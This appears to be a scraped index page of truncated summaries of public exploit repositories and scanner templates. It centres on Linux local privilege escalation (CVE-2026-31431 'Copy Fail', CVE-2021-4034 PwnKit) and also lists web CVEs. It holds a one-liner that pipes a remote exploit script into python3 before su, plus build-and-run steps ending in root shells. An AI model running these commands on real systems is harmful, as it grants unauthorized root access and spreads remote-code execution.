CVE-2026-31431

CVE-2026-31431 CVE-2026-31431检测和测试 0x01 Quick Start Some target environments do not have Python installed, so this privilege escalation logic was rewritten in C. 1. Compile Run the following command on your Linux machine or WSL using -static is recommended to avoid GLIBC version issues:...

CVE-2026-31431

CVE-2026-31431 概念验证（PoC） 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，演示了一个本地权限提升漏洞。 !WARNING 本项目仅限教育和安全研究目的使用 。 请仅在您拥有或已获得明确书面授权测试的系统上使用。 未经授权的使用可能违法，强烈不建议这样做。 使用方法 直接运行： root@kitploit: curl -s https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/refs/heads/master/main.py | python3 && su 祝黑客之旅愉快...

copy-fail-CVE-2026-31431

漏洞描述 漏洞成因 Linux 内核加密模块 authencesn在 2017 年引入了一处针对 AEAD（认证加密）操作的原地（in-place）优化，该优化导致在特定条件下，页缓存（page cache）中的只读页面可以被错误地放入可写目标散列表（scatterlist）。攻击者通过 AFALG 套接字暴露的内核加密 API，结合 splice系统调用，利用上述逻辑缺陷实现对 setuid 二进制文件（如 /usr/bin/su）页缓存的 4 字节任意写入，从而篡改程序逻辑，获取 root shell。 整个利用过程为直线逻辑，无需竞争窗口（race...

CVE-2021-4034

CVE-2021-4034 显然并非原创。我对其进行了重写，以理解其中的原理。漏洞发现致谢：https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt 其他帮助我理解该漏洞利用的 PoC： https://github.com/berdav/CVE-2021-4034 https://github.com/ryaagard/CVE-2021-4034 构建 root@kitploit: make 漏洞利用 root@kitploit: ❯ ./main LOADED! whoami root id uid=0root...

CVE-2021-4034

CVE-2021-4034 漏洞利用 使用方法 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 临时修补 root@kitploit: chmod 0755...

wg.copyfail.patch

CVE-2026-31431 又名 Copy.Fail eBPF 解决方案 为何重要 该 CVE 允许授权用户更改任意可读文件的缓存副本，从而导致本地权限提升（即本地 root 漏洞）、沙箱/容器逃逸及其他问题。 其原理是通过创建由 algif 内核模块提供的 AFALG 套接字。 当前已知的解决方案建议禁用 algifaead 模块，但如果该模块是内置的（如 Fedora Linux、Oracle Linux 及其他基于 RHEL 的系统），则无法禁用。 此外，部分上游发行版仍未包含该补丁。 这意味着在修补内核之前，您的系统将一直处于易受攻击状态。 解决方案 本软件包为您提供两个 eB...

CVE-2021-4034

CVE-2021-4034 一个简单的 PWNKIT 文件，可将你转换为 root 权限。| 仅用于教育目的。 这是什么？ 这是一个预先制作并预先压缩好的 PWNKIT。 为什么？ 我正在开发一个脚本（AUTO-PWNKIT）来自动化 pwnkit，我将使用这个仓库。 AutoPwnkit 工具 AutoPwnkit: https://github.com/x04000/AutoPwnkit 致谢 该脚本由 https://github.com/berdav/CVE-2021-4034 制作...

copy-fail

Copy Fail PoC CVE=2026-31431 的概念验证 这些脚本可将任意普通用户提权至 root。适用于 大多数 Linux 发行版和 CPU。 技术文章详见 https://copy.fail...

VoipMonitor - Pre-Auth SQL Injection

A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level. id: CVE-2022-24260 info: name: VoipMonitor - Pre-Auth SQL Injection author: gy741 severity: critical description: A SQL injection vulnerability in Voipmonitor GUI...

Harbor <=1.82.0 - Privilege Escalation

Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration. id: CVE-2019-16097...

WordPress User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation

User Registration & Membership WordPress plugin = 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts id: CVE-2026-1492 info: name: WordPres...

User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation

The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'preparemembersdata' function. This makes it possible for unauthenticated attackers to create newuser...

geojson2kml - Command Injection

Detects command injection vulnerability by checking if hacked.txt is created and contains the expected content. id: CVE-2020-28429 info: name: geojson2kml - Command Injection author: eeche,chae1xx1os,persona-twotwo,soonghee2 severity: critical description: | Detects command injection vulnerabilit...

Ruijie RG-NBS2009G-P - Improper Authentication

An issue in Ruijie RG-NBS2009G-P RGOS v.10.41P2 Release9736 allows a remote attacker to gain privileges via the system/configmenu.htm. id: CVE-2024-24116 info: name: Ruijie RG-NBS2009G-P - Improper Authentication author: friea severity: critical description: | An issue in Ruijie RG-NBS2009G-P RGO...

WordPress LiteSpeed Cache - Unauthenticated Privilege Escalation to Admin

Incorrect Privilege Assignment vulnerability in LiteSpeed Technologies LiteSpeed Cache litespeed-cache allows Privilege Escalation.This issue affects LiteSpeed Cache: from 1.9 through 6.3.0.1. id: CVE-2024-28000 info: name: WordPress LiteSpeed Cache - Unauthenticated Privilege Escalation to Admin...

Login as User or Customer < 3.3 - Privilege Escalation

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session. id: CVE-2022-4305 info: name: Login as User or Customer 3.3 - Privilege Escalation author: r3Y3r53 severity: critical...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation

Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82. id: CVE-2025-27007 info: name: OttoKit 1.0.83 - SureTriggers allows Privilege Escalation author: iamnoooob,rootxharsh,pdresearch...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario Copiar contenido RAW y pegar en la consola Bash shell: Vulnerabilidad CVE-2021-4034 Gravedad 7.8 de fecha 18/11/2021, en el componente pkexec de Polkit https://gitlab.freedesktop.org/polkit/polkit/...